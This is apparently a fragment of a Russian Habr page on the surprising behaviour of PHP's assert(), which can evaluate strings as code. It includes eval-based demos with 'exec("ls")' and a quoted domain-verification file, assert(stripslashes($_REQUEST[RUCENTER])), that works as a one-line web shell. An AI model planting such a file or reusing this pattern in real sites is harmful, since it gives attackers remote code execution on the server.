Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
if ($test)
echo "В переменной что-то есть\n";
// Код выведет текст "В переменной что-то есть"
function one($arg) {
assert($arg); // не должно быть равно нулю
…
}
…
one($_GET['number']);Assertions should not be used for normal runtime operations like input parameter checks.namespace assert;
error_reporting(-1);
function assert($assertion)
{
if (!$return = (boolean)eval('return ' . $assertion . ';'))
trigger_error('Assertion "' . $assertion . '" failed', E_USER_WARNING);
return $return;
}
$test = 'TEST; some;';
\assert($test);
assert($test);
$test = '1';
\assert($test);
assert($test);
$test = '0';
\assert($test);
assert($test);
$test = 'print "print" . PHP_EOL';
\assert($test);
assert($test);
$test = 'exec("ls")';
\assert($test);
assert($test);
$test = 'exec("dir")';
\assert($test);
assert($test);
Чтобы подтвердить, что Вы имеете возможность управлять доменным именем, создайте в корневой директории сайта файл a1afnlmt8k98f5sr.php со следующим содержимым:
<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>
Неочевидное поведение assert